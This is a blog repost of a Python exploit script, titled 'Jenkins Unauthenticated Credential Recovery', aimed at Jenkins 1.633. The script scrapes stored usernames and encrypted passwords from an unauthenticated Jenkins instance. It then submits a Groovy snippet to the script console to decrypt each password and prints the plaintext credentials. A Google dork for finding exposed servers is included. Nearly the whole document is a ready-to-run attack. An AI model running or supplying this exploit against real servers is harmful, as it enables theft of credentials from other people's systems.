Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863554395

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Jenkins Unauthenticated Credential Recovery
# Disclosure Date: 10/14/2015
# Response Date: 10/14/2015
# Response: "Recommend this be rejected as a vulnerability."
# Full report including response: http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html
# Vendor Homepage: https://jenkins-ci.org/
# Tested on: Jenkins v1.633
# Author = 'Th3R3p0' | Justin Massey
# Google Dork: intitle:"Dashboard [Jenkins]" Credentials

import requests
import re
from BeautifulSoup import BeautifulSoup
import urllib


# Usage: Modify the URL below to match the target host and port
#   Must have trailing slash at end of URL
url='http://192.168.1.151:8080/'

# makes request to gather all users with stored credentials
r= requests.get(url + 'credential-store/domain/_/')
soup = BeautifulSoup(r.text)

# loop to go through all hrefs and match the regex "credential" and add the urls to the users list
users = []
for link in soup.body.findAll('a', href=True):
    m = re.match("credential", link['href'])
    if m:
        if link['href'] not in users:
            users.append(link['href'])

for users in users:
    r2 = requests.get(url + 'credential-store/domain/_/'+users+'/update')
    soup2 = BeautifulSoup(r2.text)

    # Finds the user and password value in html and stores in encPass variable
    user = soup2.body.findAll(attrs={"name" : "_.username"})[0]['value']
    encPass = soup2.body.findAll(attrs={"name" : "_.password"})[0]['value']
    # Encodes the password to www-form-urlencoded standards needed for the expected content type
    encPassEncoded = urllib.quote(encPass, safe='')

    # Script to run in groovy scripting engine to decrypt the password
    script = 'script=hudson.util.Secret.decrypt+%%27' \
             '%s'\
             '%%27&json=%%7B%%22script%%22%%3A+%%22hudson.util.Secret.decrypt+%%27' \
             '%s' \
             '%%27%%22%%2C+%%22%%22%%3A+%%22%%22%%7D&Submit=Run' % (encPassEncoded, encPassEncoded)

    # Using sessions because the POST requires a session token to be present
    with requests.Session() as s:
        r3 = s.get(url+'script')
        headers = {'content-type': 'application/x-www-form-urlencoded'}
        r3 = s.post(url+'script',data=script, headers=headers)
    soup3 = BeautifulSoup(r3.text)

    # Extracts password from body
    password = soup3.body.findAll('pre')[1].text
    password = re.sub('Result:', '', password)
    print "User: %s | Password:%s" % (user, password)